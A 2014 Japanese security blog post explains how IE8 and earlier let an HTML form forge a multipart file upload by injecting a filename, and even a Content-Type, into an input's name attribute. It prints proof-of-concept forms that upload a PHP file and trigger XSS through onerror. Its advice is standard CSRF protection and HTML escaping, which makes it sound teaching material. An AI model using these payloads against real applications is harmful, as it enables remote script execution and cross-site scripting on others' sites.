2014年1月29日水曜日

IE8以前はHTMLフォームでファイル名とファイルの中身を外部から指定できる

一昨日のエントリ『書籍「気づけばプロ並みPHP」にリモートスクリプト実行の脆弱性』にて、ファイル送信フォームに対するCSRF攻撃の文脈で、私は以下のように書きました。
通常のHTMLフォームを使ったCSRF攻撃では、Content-Typeをmultipart/form-dataにすることまでは可能ですが、ファイルの中身とファイル名を指定する方法がありません。従って、HTMLフォームによる攻撃経路はありません。
大半の方は、「ああ、そうだよね」という感じでお読みいただいたように思いますが、昨日サイバーディフェンス研究所福森大喜さんから、「それIE8以前ならできるよ」と教えていただきました。福森さんの許可を得て、以下にPoCを公開します。
<form enctype="multipart/form-data" action="pro_add_check.php"
method="POST">
<input name="name" value="nnnn" type="hidden">
<input name="price" value="100" type="hidden">
<input name='gazou"; filename="a.php' type="hidden" value='<? phpinfo();
?>'>
<input type="submit" value="submit" />
</form>
これで確かに、ファイル名が a.php に、ファイルの中身が下記の内容になります。
<? phpinfo();
?>
それでは、どうしてこれでファイル名とファイルの中身が指定できるのでしょうか。それを説明するために、まずは正常系のリクエストを下記に示します。
-----------------------------7de34b38200e8
Content-Disposition: form-data; name="name"

nnnn
-----------------------------7de34b38200e8
Content-Disposition: form-data; name="price"

100
-----------------------------7de34b38200e8
Content-Disposition: form-data; name="gazou"; filename="a.php"
Content-Type: text/plain

<? phpinfo();
?>

-----------------------------7de34b38200e8--
ここで、type=textのnameやpriceと、type=fileのgazouを比較すると、fileの方は「; filename="a.php"」とContent-Typeが追加されていることが分かります。そして、もしもname=として下記が指定できれば、filename=を注入できることになります。
gazou"; filename="a.php
そして、IE8 以前では、これができてしまうのですね。Content-Typeは追加できません(訂正: 追加する方法が分かりましたので末尾に追記します)が、PHPはContent-Typeがないフィールドでも、filenameの指定があるだけでファイルと見なすようです。
それでは、IE9以降および他のブラウザだとname=の中のダブルクォートはどうなるかですが、
  • IE9以降およびGoogle Chrome:  %22 にエスケープされる(パーセントエンコード)
  • Firefox: \" にエスケープされる
ということで、この攻撃は使えなくなっています。

このIE8以前の挙動は、マイクロソフト社はIE9以降では修正している、つまり認識しているにも関わらずIE8以前は放置していることと、元々脆弱なアプリケーションのみが影響を受けるということ理由から、Cookie Monster Bugなどと同じく「好ましくない仕様」ということになると考えます。

ということで、アプリケーション側で淡々とCSRF対策しましょう。この問題があるから新たに特別な対策をしなければならない、ということはありません。

ところで、前回は触れなかったのですが、紹介したスクリプトの下記の箇所は、ファイル名をエスケープなしでHTML出力しているので、潜在的なクロスサイト・スクリプティング脆弱性があります。
print'<img src="./gazou/'.$pro_gazou['name'].'" />';
「潜在的な」と書いたのは、通常HTMLフォームではファイル名を外部から指定する方法がないこと、XHR Level2を使ったリクエスト送信では(対象サーバーが明示的に許可していない限り)クロスオリジンでレスポンスを受け取れないし、仮にレスポンスを受け取れたとしてもブラウザに表示されるわけではないのでXSSにはならないことによります。
しかし、福森さんに教えていただいた方法だと、HTMLフォームからファイル名が送信できるので、上記の部分にてXSSが発現します。攻撃の例を下記に示します。
<input name='gazou"; filename="a.gif" onerror="alert(1)' type="hidden" value='GIF87a '>
IE8でこれを実行すると、生成されるimg要素は下記となり、onerror属性が注入されています。
<img src="./gazou/a.gif" onerror="alert(1)">
a.gifという画像はない(実際に生成されるファイル名は「a.gif" onerror="alert(1)」)ので、onerrorイベントによりalertが実行されます(下図)。


ファイル名を用いたXSSでは、PHPが内部でbasename()関数で「/」(Windows版では「\」も)以前を切り取ってしまうので、攻撃文字列には「/」や「\」が使えません。このため上記の例ではonerrorイベントを用いました。

このXSSの方にしても、表示(HTML出力)の際に、変数等を淡々とHTMLエスケープするという原則を守れば脆弱性は混入しないので、IE8以前に対して「特別な配慮」をしなければいけないわけではありません。
むしろ、「これは外部からコントロールできないはずだからエスケープしなくても大丈夫」という「特別な配慮」(手抜き)をせず、原則に従うことが重要です。この点、私の見た多くのPHP入門書では、スクリプトの先頭でまとめて入力値をhtmlspecialchars関数によりエスケープしているものが多く、XSS対策の説明という点で課題があります。

※追記
当初Content-Typeは追記できないと書きましたが、以下のinput要素を用いることで、Contet-Typeも指定できました。メールヘッダインジェクションと同じような要領ですね。
<input name='gazou"; filename="a.php"
Content-Type: text/plain

<?php phpinfo();//' type="hidden" value=''>
これに対するHTTPリクエストは下記の通りです(該当箇所のみ)。
-----------------------------7de2fd25200e8
Content-Disposition: form-data; name="gazou"; filename="a.php"
Content-Type: text/plain

<?php phpinfo();//"


-----------------------------7de2fd25200e8--
ということで、Content-Typeも含めて改変できることが分かりました。

0 件のコメント:

コメントを投稿

フォロワー